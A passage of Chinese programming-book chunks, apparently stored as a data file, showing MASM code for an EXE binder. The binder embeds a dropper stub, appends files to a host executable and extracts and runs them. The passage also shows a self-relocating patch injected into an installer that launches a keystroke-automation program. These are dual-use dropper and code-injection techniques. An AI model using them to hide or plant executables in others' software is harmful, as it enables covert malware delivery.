如图所示，捆绑前，宿主程序是轻身的，与捆绑文件没有任何的关联；捆绑后（执行前），宿主程序已经包含了所有的捆绑文件数据；执行时，宿主程序会释放捆绑的所有文件。所以，除了宿主程序不发生任何变化外，磁盘上还多出了_host.exe和所有绑定的文件。 _host.exe为进程调度指挥长，释放出的可执行文件就是在它的调度指挥下实现了顺序执行的。该程序包含在捆绑前的宿主程序中。那么，对文件的捆绑工作由谁来完成呢？答案是由捆绑器来完成。捆绑器类似于PE进阶部分的补丁工具。"},
    {"text": "18.5.3 遍历文件 18.5.3 遍历文件 为了确认当前目录要捆绑的文件，程序需要首先遍历当前目录下的文件和文件夹，获取当前目录下所有的文件名称，以及每个文件的大小。遍历文件的代码见代码清单18-4。 代码清单18-4 遍历当前目录下的文件和文件夹函数_ProcessFile（chapter18\\host.asm） 1 ;--------------------- 2 ;处理找到的文件 3 ;显示文件所在位置、文件名称、文件大小 4 ;--------------------- 5 _ProcessFile proc _lpszFile 6 local @hFile 7 8 invoke lstrlen,addr szPath 9 mov esi,eax 10 add esi,_lpszFile 11 mov al,byte ptr [esi] 12 .if al == 5ch 13 inc esi 14 .endif 15 invoke wsprintf,addr szBuffer,addr szOut1,esi 16 invoke _appendInfo,addr szBuffer 17 inc dwFileCount 18 invoke CreateFile,_lpszFile,GENERIC_READ,FILE_SHARE_READ,0,\\ 19 OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 20 .if eax!=INVALID_HANDLE_VALUE 21 mov @hFile,eax 22 invoke GetFileSize,eax,NULL 23 pushad 24 invoke wsprintf,addr szBuffer,addr szOut2,eax 25 invoke _appendInfo,addr szBuffer 26 invoke _appendInfo,addr szCrLf 27 popad 28 29 add dwFileSizeLow,eax 30 adc dwFileSizeHigh,0 31 invoke CloseHandle,@hFile 32 .endif 33 ret 34 35 _ProcessFile endp 36 37 ;---------------------------- 38 ;遍历指定目录szPath下 39 ;(含子目录)的所有文件 40 ;------------------------------ 41 _FindFile proc _lpszPath 42 local @stFindFile:WIN32_FIND_DATA 43 local @hFindFile 44 local @szPath [MAX_PATH]:byte ;用来存放“路径\\” 45 local @szSearch [MAX_PATH]:byte ;用来存放“路径\\*.*” 46 local @szFindFile [MAX_PATH]:byte ;用来存放“路径\\文件” 47 48 pushad 49 invoke lstrcpy,addr @szPath,_lpszPath 50 ;在路径后面加上\\*.* 51 @@: 52 invoke lstrlen,addr @szPath 53 lea esi,@szPath 54 add esi,eax 55 xor eax,eax 56 mov al,'\\' 57 .if byte ptr [esi-1]!=al 58 mov word ptr [esi],ax 59 .endif 60 invoke lstrcpy,addr @szSearch,addr @szPath 61 invoke lstrcat,addr @szSearch,addr szFilter 62 ;寻找文件 63 invoke FindFirstFile,addr @szSearch,addr @stFindFile 64 .if eax!=INVALID_HANDLE_VALUE 65 mov @hFindFile,eax 66 .repeat 67 invoke lstrcpy,addr @szFindFile,addr @szPath 68 invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName 69 .if @stFindFile.dwFileAttributes＆FILE_ATTRIBUTE_DIRECTORY 70 .if @stFindFile.cFileName!='.' 71 inc dwFolderCount 72 invoke _FindFile,addr @szFindFile 73 .endif 74 .else 75 invoke _ProcessFile,addr @szFindFile 76 .endif 77 invoke FindNextFile,@hFindFile,addr @stFindFile 78 .until eax == FALSE 79 invoke FindClose,@hFindFile 80 .endif 81 popad 82 ret 83 _FindFile endp 函数_FindFile是个递归函数，入口参数是目录名。行66～78是一个循环，通过调用函数FindNextFile获得下一个文件或文件夹。行69～73判断：得到的如果是一个子文件夹，则继续调用函数_FindFile遍历下一个文件夹的内容；如果是文件，则调用函数_ProcessFile输出文件名及长度。"},
    {"text": "1.释放_host.exe 由于进程调度程序所有的字节码均写入到了宿主程序的数据段中，数据定义如下： lphostExeFile db 4Dh,5Ah,90h,00h,03h,00h,00h,00h,04h,00h,00h,00h db 0FFh,0FFh,00h,00h,0B8h,00h,00h,00h,00h,00h,00h,00h db 40h,00h,00h,00h,00h,00h,00h,00h 00h,00h,00h,00h,00h db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h ...... 所以，释放该文件非常容易，只需要将这些字节码原样写回文件即可，代码如下： ;释放_host.exe文件 invoke writeToFile,addr szHost_,addr lphostExeFile,dwTotalFileSize 2.释放捆绑文件 补丁工具在打补丁时，将所有待捆绑的文件的相关信息记录到宿主程序的绑定列表中。 这些信息包括：每个文件在宿主中的偏移、文件大小和释放后所在目录位置及文件名，所以，释放捆绑文件时，只需根据绑定列表的描述释放每一个文件即可，具体包括以下四步： 步骤1 确定捆绑文件在宿主中的偏移。"},
    {"text": "代码清单18-5 释放捆绑文件函数_releaseFiles（chapter18\\host.asm） 1 ;----------------- 2 ;释放捆绑的文件 3 ;----------------- 4 _releaseFiles proc 5 local @stOF:OPENFILENAME 6 local @hFile,@dwFileSize,@hMapFile,@lpMemory 7 local @hFile1,@dwFileSize1,@hMapFile1,@lpMemory1 8 local @bufTemp1[10]:byte 9 local @dwTemp:dword,@dwTemp1:dword 10 local @dwBuffer,@lpDst,@hDstFile 11 12 pushad 13 mov eax,dwTotalFile 14 push eax 15 16 ;打开文件host.exe，写入szBuffer指定的文件 17 invoke CreateFile,addr szHost,GENERIC_READ,\\ 18 FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,\\ 19 OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL 20 21 .if eax!=INVALID_HANDLE_VALUE 22 mov @hFile,eax 23 invoke GetFileSize,eax,NULL 24 mov @dwFileSize,eax 25 .if eax 26 invoke CreateFileMapping,@hFile,\\ ;内存映射文件 27 NULL,PAGE_READONLY,0,0,NULL 28 .if eax 29 mov @hMapFile,eax 30 invoke MapViewOfFile,eax,\\ 31 FILE_MAP_READ,0,0,0 32 .if eax 33 mov @lpMemory,eax ;获得文件在内存的映像起始位置 34 assume fs:nothing 35 push ebp 36 push offset _ErrFormat 37 push offset _Handler 38 push fs:[0] 39 mov fs:[0],esp 40 .endif 41 .endif 42 .endif 43 .endif 44 45 mov ecx,dwTotalFile 46 mov esi,offset lpFileList 47 .repeat 48 assume esi:ptr BinderFileStruct 49 push esi 50 51 mov eax,[esi].dwFileOff ;取文件偏移 52 mov dwFileOff,eax 53 mov eax,[esi].dwFileSize ;取文件大小 54 mov dwFileSize,eax 55 56 ;创建文件名所在的所有子目录 57 pushad 58 invoke RtlZeroMemory,addr szBuffer,256 59 popad 60 invoke _createAllDir,addr [esi].name1 61 62 ;将指定位置的数据复制到文件中 63 pushad 64 invoke GetCurrentDirectory,256,addr szPath 65 invoke RtlZeroMemory,addr szBuffer,256 66 invoke lstrcpy,addr szBuffer,addr szPath ;c:\\ql 67 invoke lstrcat,addr szBuffer,addr szXie ;\\ 68 popad 69 70 push esi 71 invoke lstrlen,addr [esi].name1 72 pop esi 73 push esi ;清空szBuffer1 74 push eax 75 invoke RtlZeroMemory,addr szBuffer1,256 76 pop eax 77 pop esi ;将a\\b\\c\\abc.dat复制到szBuffer1中 78 invoke MemCopy,addr [esi].name1,addr szBuffer1,eax 79 80 nop 81 lea eax,[esi].name1 82 ;a\\b\\abc.dat 83 invoke lstrcat,addr szBuffer,addr szBuffer1 84 85 mov eax,@lpMemory 86 add eax,dwFileOff 87 88 invoke writeToFile,addr szBuffer,eax,dwFileSize 89 90 pop esi 91 add esi,sizeof BinderFileStruct 92 dec dwTotalFile 93 .break.if dwTotalFile == 0 94 .until FALSE 95 pop eax 96 mov dwTotalFile,eax 97 98 jmp _ErrorExit ;正常退出 99 100 _ErrFormat: 101 102 _ErrorExit: 103 pop fs:[0] 104 add esp,0ch 105 invoke UnmapViewOfFile,@lpMemory 106 invoke CloseHandle,@hMapFile 107 invoke CloseHandle,@hFile 108 jmp @F 109 _ErrFormat1: 110 111 _ErrorExit1: 112 pop fs:[0] 113 add esp,0ch 114 invoke UnmapViewOfFile,@lpMemory1 115 invoke CloseHandle,@hMapFile1 116 invoke CloseHandle,@hFile1 117 @@: 118 popad 119 ret 120 _releaseFiles endp 行47～94根据绑定列表结构BinderFileStruct中定义的值，对每一个文件进行释放处理。"},
    {"text": "程序首先根据BinderFileStruct.name一次性完成文件所在目录的创建操作（如果目录存在嵌套则循环创建名字中所有嵌套的子目录），然后在目录中用结构指定的名称新建文件，并调用函数writeToFile将宿主程序中指定位置、指定大小数据写入，从而完成对捆绑文件的释放工作。"},
    {"text": "18.5.5 宿主程序主函数 18.5.5 宿主程序主函数 宿主程序的主函数只有三个调用，这三个调用很明晰地展示出该函数的三个主要作用，它们依次是： writeToFile（用以释放_host.exe文件） _releaseFiles（用以释放捆绑的文件） _RunThread（用以调度执行程序的线程函数） 主函数代码如下所示： ;释放_host.exe文件 invoke writeToFile,addr szHost_,addr lphostExeFile,dwTotalFileSize ;释放捆绑的文件 invoke GetCurrentDirectory,256,addr szPath invoke _releaseFiles ;执行_host.exe文件 invoke CreateThread,NULL,NULL,offset _RunThread,\\ NULL,NULL,offset hRunThread 18.6 EXE捆绑器bind.exe 18.6 EXE捆绑器bind.exe EXE捆绑器的主要任务是，将要捆绑的文件附加到宿主程序host.exe文件的最后一节。这类似于PE进阶部分讲的补丁工具bind.exe。除了打补丁，捆绑器还要完成对宿主程序host.exe中的两套绑定列表数据的修正，以便用于后期的释放捆绑文件和调度运行程序。要完成对补丁列表数据的修正，首先需要完成对绑定列表数据的定位。 18.6.1 绑定列表定位 绑定列表在host.exe和要释放的_host.exe中均保留了一份，那么这个位置在宿主程序host.exe的哪个偏移处呢？使用十六进制编辑器FlexHex打开host.exe，查找.data中两个0xFFFFFFFFFFFF双字的位置，其后紧跟着的就是绑定列表数据结构。如下所示： 通过查找可以找到这两套绑定列表数据所在文件的偏移： 由host.exe维护的第一套绑定列表起始位置：13ach 由_host.exe维护的第二套绑定列表起始位置：8be8h 最终运行时，绑定列表的数据结构排列看起来类似以下字节码所示： 加框部分是捆绑的文件个数，每个文件都由结构BinderFileStruct定义。结构中包含的字段在前面已经进行了介绍，如文件路径、是否可执行、文件长度、所在位置等。"},
    {"text": "步骤2 将宿主程序，要捆绑的文件复制到新映射的内存文件中，记录每个文件的相对位置； 同时，将这些信息写入宿主程序中的两处捆绑列表所在位置。"},
    {"text": "18.6.3 测试运行 18.6.3 测试运行 为了查看程序执行效果，请按照以下步骤进行测试： 步骤1 编译_host.asm，生成_host.exe可执行代码。 步骤2 编译hex2db.asm，运行hex2db，生成_host.exe的字节码C:\\1.txt。 步骤3 编译host.asm，将上一步生成的_host.exe字节码加入到数据段中。 步骤4 通过十六进制查看器查看生成的host.exe字节码，查找两个捆绑表所在位置。记录这个位置并将结果写到bind.asm中。 步骤5 编译bind.asm并运行，生成最终的C:\\host.exe程序。 图18-2是对本节中部分文件进行捆绑的示意图。其中各按钮的解释如下： 图 18-2 捆绑文件运行界面 如图所示，“捆绑目录”即用户想要捆绑的目录；“宿主程序”是host.exe程序，因为它具有释放文件和执行文件的功能，所以不能用其他PE文件代替。加入执行序列的EXE文件在表格中用红色背景突出显示。 单击右下角的“执行捆绑”按钮后，C盘根目录下将生成host.exe程序。这个程序就是携带了捆绑文件的宿主程序，也就是最终所需要的结果。 18.7 小结 18.7 小结 本章通过在目标PE文件末尾追加补丁的方式（参见第17章），演示了一种将用户指定目录下的所有文件捆绑在一起的编程方法。实例中的补丁程序完成了释放宿主程序、释放相关捆绑文件、运行调度程序、实施绑定列表中指定可运行PE文件的批量同步运行。 EXE捆绑器可应用于对指定目录或文件进行加密，也可用于对批量EXE文件的执行，特别是在升级多个补丁工具时比较有用。 第19章 软件安装自动化 第19章 软件安装自动化 网络管理员在维护机房电脑的时候，经常会根据教学要求安装一些软件。在一台电脑上，大部分软件的安装非常简单，只要单击回车，下一步，回车，下一步……但是，如果同一个软件要安装在50台电脑、100台电脑甚至更多时，工作量就会非常巨大。 安装同一个软件一定要一台一台去操作吗？ 本章将通过补丁消息发送器实现一个使键盘自动输入的工具，以提高生产率。 19.1 基本思路 编写本实例的整体思路是，通过在安装程序过程中模拟键盘输入操作，实现程序安装的自动化。 如果延伸软件安装自动化的应用，所有基于键盘输入的软件均可采用这种补丁技术。特别是针对那些输入有规律且流程重复的大批量作业，使用这种技术可以明显提高工作效率。本章以安装Photoshop CS3.exe程序为例，介绍通过补丁工具实现安装自动化的整个过程。会涉及以下五个程序： Photoshop CS3.exe（从网络下载的原始安装程序，用户可以选择任何其他的安装程序） patch.exe（补丁程序，主要作用是延时运行_Message.exe） _Message.exe（消息发送器，不同的安装程序应具有不同的消息发送器） MessageFactory.exe（消息发送器生成工厂，按照不同安装软件的要求自动生成消息发送器） AutoSetup.exe（补丁工具，软件安装自动化主程序，包含自动产生消息发送器） Photoshop CS3.exe是本章要使用的测试安装程序，大家可以选择任何其他的安装程序。下面一一讲述后四个程序的编写，首先来看补丁程序patch.exe的编写。 19.2 补丁程序patch.exe 19.2 补丁程序patch.exe 补丁程序完成的主要工作是开辟另外一个线程空间，然后运行消息发送器_Message.exe。 进程是一个正在执行的应用程序，它包含私有的虚拟地址空间、代码、数据和其他的操作系统资源，譬如进程可以存取的管道、文件和同步对象等。从上面的定义可以看到，一个进程拥有几个对象：地址空间、执行模块和其他该执行程序打开或创建的任何对象或资源。至少，一个进程必须包含可执行模块、私有的地址空间和一个以上的线程。 一个线程实际上是一个执行单元。当Windows产生一个进程时，它自动为该进程产生一个主线程，该主线程通常从模块的第一条指令处开始执行。 19.2.1 相关API函数 如果在进程中需要启动另外的进程，可以通过调用API函数CreateProcess显式地创建，通过TerminateProcess函数来终止进程。 1.创建线程函数CreateProcess 创建线程的函数在本书18.2.1小节有介绍，函数原型如下： BOOL CreateProcess( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); 2.终止进程函数TerminateProcess 函数TerminateProcess用于强制终止一个进程。函数的原型如下： BOOL TerminateProcess( HANDLE hProcess,//进程句柄 UINT uExitCode//结束码 ); 函数参数解释如下： 1）hProcess：要终止的进程句柄。 2）uExitCode：结束码。 注意 你可以指定任意一个退出值。用该函数结束一个进程时，进程加载的动态链接库并不会得到进程正退出的消息。"},
    {"text": "19.2.2 执行线程函数 19.2.2 执行线程函数 补丁程序的主要作用是执行主程序释放的消息发送器程序。执行过程被安排在一个线程中完成，该线程函数代码见代码清单19-1。 代码清单19-1 执行程序用的线程函数_RunThread（chapter19\\patch.asm） 1 ;------------------------------------------ 2 ;执行程序用的线程 3 ;1.用CreateProcess建立进程 4 ;2.用WaitForSingleObject等待进程结束 5 ;------------------------------------------- 6 _RunThread proc uses ebx ecx edx esi edi,\\ 7 dwParam:DWORD 8 9 10 call @F ;免去重定位 11 @@: 12 pop ebx 13 sub ebx,offset @B 14 15 pushad 16 mov eax,offset stStartUp 17 add eax,ebx 18 push eax 19 mov edx,dword ptr [ebx+_GetStartupInfoA] 20 call edx 21 22 mov eax,offset szExeFile 23 add eax,ebx 24 mov ecx,offset stStartUp 25 add ecx,ebx 26 mov edx,offset stProcInfo 27 add edx,ebx 28 push edx 29 push ecx 30 push NULL 31 push NULL 32 push NORMAL_PRIORITY_CLASS 33 push NULL 34 push NULL 35 push NULL 36 push eax 37 push NULL 38 mov edx,dword ptr [ebx+_CreateProcessA] 39 call edx 40 .if eax!=0 41 push INFINITE 42 push [ebx+stProcInfo].hProcess 43 mov edx,dword ptr [ebx+_WaitForSingleObject] 44 call edx 45 46 push [ebx+stProcInfo].hProcess 47 mov edx,dword ptr [ebx+_CloseHandle] 48 call edx 49 50 push [ebx+stProcInfo].hThread 51 mov edx,dword ptr [ebx+_CloseHandle] 52 call edx 53 .endif 54 popad 55 ret 56 _RunThread endp 行10～13为重定位技术的应用。行16～20获取当前进程的STARTUPINFO结构，传入CreateProcess函数。 行22～39调用函数CreateProcess，如果执行成功，则调用函数WaitForSingleObject等待进程返回，否则结束线程。调用该线程函数的主程序代码如下： _start proc pushad ;获取kernel32.dll的基地址 invoke _getKernelBase,eax mov dword ptr [ebx+hKernel32Base],eax ;从基地址出发搜索GetProcAddress函数的首址 mov eax,offset szGetProcAddress add eax,ebx mov ecx,dword ptr [ebx+hKernel32Base] invoke _getApi,ecx,eax mov dword ptr [ebx+_GetProcAddress],eax invoke _getAllAPIs ;运行新程序 mov eax,offset hRunThread add eax,ebx push eax push NULL push NULL mov eax,offset _RunThread add eax,ebx push eax push NULL push NULL mov edx,dword ptr [ebx+_CreateThread] call edx popad ret _start endp 从以上代码可以看出，该补丁程序使用了第6章的重定位技术、第11章介绍的动态加载技术和第13章介绍的嵌入补丁框架，详细代码见随书文件chapter19\\patch.asm。 19.2.3 简单测试 19.2.3 简单测试 将chapter1\\HelloWorld.exe复制到chapter19目录下，并重新更名为_Message.exe，将HelloWorld.exe假设为补丁程序。编译链接并运行patch.asm，执行后，程序顺利地弹出对话框，说明补丁程序patch.exe正确地调用了消息发送器_Message.exe程序。 使用第17章介绍的补丁工具bind.exe，将该补丁程序打到安装程序的最后一节中，执行界面如图19-1所示。 图 19-1 执行补丁操作界面 运行C盘根目录下生成的bindC.exe，先弹出HelloWorld对话框窗口，然后才是Photoshop CS3的安装界面，这说明打补丁是成功的，补丁程序的功能也没有问题。 下面开始编写消息发送器。"},
    {"text": "19.3 消息发送器_Message.exe 19.3 消息发送器_Message.exe 上一节中使用了HelloWorld.exe来模拟消息发送器。接下来，我们就正式开发消息发送器，基本思路如下： 步骤1 枚举所有顶层窗口。通过调用EnumWindows函数，枚举所有的顶层窗口。 步骤2 获取顶层窗口标题名称与指定字符串匹配，从而得到要发送消息的窗口句柄。 步骤3 向获取的窗口发送消息，这些消息可能是按键消息，也可能是控制消息。 下面将分别介绍这三步操作。 19.3.1 窗口枚举回调函数 要想让软件安装自动化，首先要获取该软件打开时在桌面显示的窗口。大多数情况下，安装程序的窗口标题是固定的，如本例中使用的安装程序Photoshop CS3的第一个窗口标题是“安装-Photoshop CS3”。通过匹配窗口标题字符串即可获取窗口句柄，代码清单19-2是窗口枚举回调函数_EnumProc。在回调函数中将显示遍历到的窗口的相关信息，这些信息包括：窗口句柄、窗口的类名和窗口的标题名。 代码清单19-2 窗口枚举回调函数_EnumProc（chapter19\\enumWindows.asm） 1 ;------------------------------------------- 2 ;窗口枚举回调函数 3 ;------------------------------------------- 4 _EnumProc proc hTopWinWnd:DWORD,value:DWORD 5 .if hTopWinWnd!=NULL 6 invoke GetClassName,hTopWinWnd,addr szClassNameBuf,\\ ;类名 7 sizeof szClassNameBuf 8 invoke GetWindowText,hTopWinWnd,addr szWndTextBuf,\\ ;窗口标题名 9 sizeof szWndTextBuf 10 11 invoke wsprintf,addr szBuffer,addr szOut1,hTopWinWnd,addr szClassNameBuf 12 invoke _appendInfo,addr szBuffer 13 14 invoke wsprintf,addr szBuffer,addr szOut2,addr szWndTextBuf 15 invoke _appendInfo,addr szBuffer 16 invoke _appendInfo,addr szCrLf 17 18 pushad 19 mov esi,offset szName 20 mov edi,offset szWndTextBuf 21 mov ecx,10 22 repe cmpsb 23 jnz@2 24 mov eax,hTopWinWnd 25 mov hWin,eax 26 @2: 27 popad 28 29 inc dwCount 30 .endif 31 mov eax,hTopWinWnd ;当窗口句柄为空时结束 32 ret 33 _EnumProc endp 代码行19～22将指定名称的字符串与窗口标题字符串进行比较，如果两者相等，则为全局变量hWin赋值，该变量即为获取的安装程序的窗口句柄。 19.3.2 调用窗口枚举函数 19.3.2 调用窗口枚举函数 以下是调用窗口枚举回调函数的代码： ;------------------------------------------ ;向窗口发送消息 ;------------------------------------------ _doIt proc invoke EnumWindows,addr _EnumProc,NULL ;枚举顶层窗口 mov eax,hWin mov hParentWin,eax invoke wsprintf,addr szBuffer,addr szOut3,hWin invoke _appendInfo,addr szBuffer ...... ret _doIt endp 函数EnumWindows的第一个参数即为窗口枚举回调函数。当获取的窗口句柄为NULL时，将退出回调函数；如果系统中有窗口的标题和指定名称的字符串一致，则返回该窗口的句柄到hWin里。枚举窗口运行效果如图19-2所示。 图 19-2 桌面窗口枚举效果 如图所示，枚举的好多窗口是没有标题的。这些窗口有一些还是系统窗口，桌面上并不显示它们。 19.3.3 向指定窗口发送消息 19.3.3 向指定窗口发送消息 当窗口匹配完成后，即可获取窗口的句柄并存储在变量hWin里。接下来就可以通过函数PostMessage向该窗口发送消息了。由于安装程序的所有步骤使用的并不全都是同一个窗口，所以每发送一次消息，都要重新定位安装程序的窗口。为了提高消息发送器的适应性，还可以使用匹配坐标点的方法定位窗口，即通过调用函数WindowFromPoint传入屏幕坐标获取该坐标位置的顶层窗口句柄。向指定窗口发送消息的代码如下： invoke SetForegroundWindow,hWin invoke SetActiveWindow,hWin invoke PostMessage,hWin,WM_KEYDOWN,VK_RETURN,NULL invoke Sleep,5000 mov @stPos.x,500 mov @stPos.y,400 invoke WindowFromPoint,@stPos.x,@stPos.y mov hWin,eax invoke PostMessage,hWin,WM_KEYDOWN,VK_RETURN,NULL invoke Sleep,5000 ;向父窗口发送关闭消息 mov eax,hParentWin mov hWin,eax invoke SendMessage,hWin,WM_CLOSE,NULL,NULL invoke Sleep,5000 如上所示，每次消息发送完成后都会有一个调用Sleep的语句，语句中的数值是要休眠的毫秒数。这个数值表示安装程序完成当前这一步，到显示下一步窗口的时间间隔。只有到了下一个窗口才能接着发送相关消息，所以每一步的这个值必须通过实际安装计算得来。 提示 消息分两种：一种是键盘消息，如常量WM_KEYDOWN表示键按下，VK_RETURN表示回车等；另一种是控制消息，如常量WM_CLOSE是关闭窗口的消息。"},
    {"text": "19.3.4 消息发送器源代码 19.3.4 消息发送器源代码 下面来看消息发送器的完整源代码，该消息发送器是针对Photoshop CS3安装程序的。在编写代码前，需要先运行该安装程序看都经过了哪几步，每步间的时间间隔是多少，每一步需要按哪些键，具体见表19-1。 如表所示，第1步是等待函数CreateProcess创建安装进程，直到出现安装界面的第一个窗口，所以用时稍微长一些，为10秒。第7步是复制文件过程，用时也比较长，为15秒。由于所有的步骤里全部采用默认设置，所以发送的按键均为回车。消息发送器的相关代码见代码清单19-3。 代码清单19-3 消息发送器（chapter19\\_message.asm） 1 .386 2 .model flat,stdcall 3 option casemap:none 4 5 include windows.inc 6 include user32.inc 7 include kernel32.inc 8 include winResult.inc 9 10 includelib user32.lib 11 includelib kernel32.lib 12 includelib winResult.lib 13 14 15 .data 16 17 18 szNewBuffer db 2048 dup (?) 19 szClassNameBuf db 512 dup(?) ;不要更改大小 20 szWndTextBuf db 512 dup(?) ;不要更改大小 21 szName db '安装-Photo',256 dup(0) 22 23 szBuffer db 1024 dup(0) 24 25 26 szMainClassNameBuf db 512 dup (?) 27 szMainWndTextBuf db 512 dup (?) 28 hParentWin dd ? ;父窗口 29 hWin dd ? ;当前窗口 30 hSubWin dd ? 31 dwCount dd ? 32 33 @stPos POINT ＜?＞ 34 35 .code 36 37 ;------------------------------------------- 38 ;窗口枚举函数 39 ;------------------------------------------- 40 _EnumProc proc hTopWinWnd:DWORD,value:DWORD 41 .if hTopWinWnd!=NULL 42 invoke GetClassName,hTopWinWnd,addr szClassNameBuf,\\ ;类名 43 sizeof szClassNameBuf 44 invoke GetWindowText,hTopWinWnd,addr szWndTextBuf,\\ ;窗口名 45 sizeof szWndTextBuf 46 47 pushad 48 mov esi,offset szName 49 mov edi,offset szWndTextBuf 50 mov ecx,10 51 repe cmpsb 52 jnz@2 53 mov eax,hTopWinWnd 54 mov hWin,eax 55 @2: 56 popad 57 58 inc dwCount 59 .endif 60 mov eax,hTopWinWnd ;当窗口句柄为空时结束 61 ret 62 _EnumProc endp 63 64 65 ;------------------------------------------ 66 ;向窗口发送消息 67 ;------------------------------------------ 68 _doIt proc 69 invoke EnumWindows,addr _EnumProc,NULL ;枚举顶层窗口 70 mov eax,hWin 71 mov hParentWin,eax 72 73 74 invoke Sleep,10000 ;先休眠10秒 75 76 77 invoke SetForegroundWindow,hWin 78 invoke SetActiveWindow,hWin 79 invoke PostMessage,hWin,WM_KEYDOWN,VK_RETURN,NULL 80 invoke Sleep,5000 81 … 124 125 126 mov @stPos.x,500 127 mov @stPos.y,400 128 invoke WindowFromPoint,@stPos.x,@stPos.y 129 mov hWin,eax 130 invoke PostMessage,hWin,WM_KEYDOWN,VK_RETURN,NULL 131 invoke Sleep,5000 132 133 134 ;向父窗口发送关闭消息 135 mov @stPos.x,500 136 mov @stPos.y,400 137 invoke WindowFromPoint,@stPos.x,@stPos.y 138 mov eax,hParentWin 139 mov hWin,eax 140 invoke SendMessage,hWin,WM_CLOSE,NULL,NULL 141 invoke Sleep,5000 142 143 @ret: 144 ret 145 146 _doIt endp 147 148 start: 149 invoke _doIt 150 invoke ExitProcess,NULL 151 end start 19.3.5 测试运行 19.3.5 测试运行 编译链接生成_Message.exe，将19.2.3节中生成的打了补丁的C:\\bindC.exe复制到D:\\masm32\\source\\chapter19目录下，重命名为patch _PhotoshopCS3.exe，然后双击运行该文件。接下来，你就可以泡杯咖啡慢慢享受自动化安装过程了，安装初始界面如图19-3所示。 图 19-3 Photoshop CS3安装初始界面"},
    {"text": "19.4 消息发送器生成工厂MessageFactory.exe 19.4 消息发送器生成工厂MessageFactory.exe 不同的软件安装步骤不一样，安装过程的差异决定了为安装软件配备的消息发送器也是不同的。如果为每个安装程序都按照重新编写消息发送器代码—编译—链接这样的步骤，实在是太麻烦了。 为解决这个问题，下面编写一个“消息发送器生成工厂”，让它按照不同安装软件的要求自动生成消息发送器可执行程序_Message.exe。 Windows API函数中提供了几种向窗口发送消息的函数，下面首先来了解一下这些函数。 19.4.1 消息发送函数 在WindowsAPI函数中，有三个常用的消息发送函数。它们分别是SendMessage、PostMessage和keybd _event。下面介绍这三个函数的用法。 1.函数SendMessage 该函数将指定的消息发送到一个或多个窗口。此函数为指定的窗口调用其窗口程序，直到窗口程序处理完消息再返回，完整定义如下： LRESULT SendMessage( HWND hWnd,//目标窗口句柄 UINT Msg,//被张贴的消息 WPARAM wParam,//第一个消息参数 LPARAM lParam//第二个消息参数 ); 函数参数解释如下： 1）hWnd：窗口过程接收消息的窗口句柄。如果此参数为HWND_BROADCAST，则消息被送到系统的所有顶层窗口，包括无效或不可见的非自身拥有的窗口、被覆盖的窗口和弹出式窗口。 2）Msg：指定被发送的消息。 3）wParam：指定附加到消息的特定信息。 4）lParam：指定附加到消息的特定信息。 5）返回值：返回消息处理的结果，依赖于所发送的消息。 2.函数PostMessage 该函数负责将一个消息放到与指定窗口创建的线程相关的消息队列中，不等线程处理消息就返回。消息队列里的消息可以通过调用GetMessage或PeekMessage函数获取。 BOOL PostMessage( HWND hWnd,//目标窗口句柄 UINT Msg,//被张贴的消息 WPARAM wParam,//第一个消息参数 LPARAM lParam//第二个消息参数 ); 函数参数解释如下： 1）hWnd：窗口过程接收消息的窗口句柄。可取有特定含义的两个值： HWND_BROADCAST，表示消息被送到系统的所有顶层窗口，包括无效或不可见的非自身拥有的窗口、被覆盖的窗口和弹出式窗口，但消息不会送到子窗口。 NULL，函数的行为和将参数dwThreadId设置为当前线程的标识符的PostThreadMessage函数一样。 2）Msg：指定被发送的消息。 3）wParam：指定附加到消息的特定信息。 4）lParam：指定附加到消息的特定信息。 5）返回值：如果调用函数成功，返回非零值；如果调用函数失败，返回值是零。如果想获取更多的错误信息，请调用GetLastError函数。 注意 以HWND_BROADCAST方式通信的应用程序，应该使用RegisterWindowMessage函数来获得应用程序间通信的独特消息。如果发送一个低于WM_USER范围的消息给异步消息函数（PostMessage.SendNotifyMessage或SendMesssgeCallback），消息参数不能包含指针，操作将失败。 3.函数keybd _event 在三个发送消息的函数中，最实用的是keybd _event函数。这个函数模拟向Windows发送消息，而不管当前窗口处在什么位置。因为不需要定位窗口，所以免去了许多麻烦，其代码设计也相对简单。keybd _event函数的具体定义为： VOID keybd _event（ BYTE bVk， BYTE bScan， DWORD dwFlags， DWORD dwExtralnfo ); 函数参数解释如下： 1）bVk：定义一个虚拟键码。键码值必须在1～254之间。如回车键为VK_RETURN，Tab键为VK_TAB等。关于虚拟键码的详细定义参考下一节。 2）bScan：定义该键的硬件扫描码。 3）dwFlags：定义函数操作的各个方面的一个标志位集。应用程序可使用如下一些预定义常数的组合设置该标志位，这些常数包括： KEYEVENTF_EXETENDEDKEY：若指定该值，则扫描码前一个值为0xE0(224)的前缀字节。 DEYEVENTF_KEYUP：若指定该值，该键将被释放；若未指定该值，该键将被按下。 4）dwExtralnfo：定义与击键相关的附加的32位值。 例如，\"A\"的虚拟键值为65，可以用如下代码实现模拟在键盘上按下\"A\"键： keybd _event(65,0,0,0) ; keybd _event(65,0,KEYEVENTF_KEYUP,0) ;"},
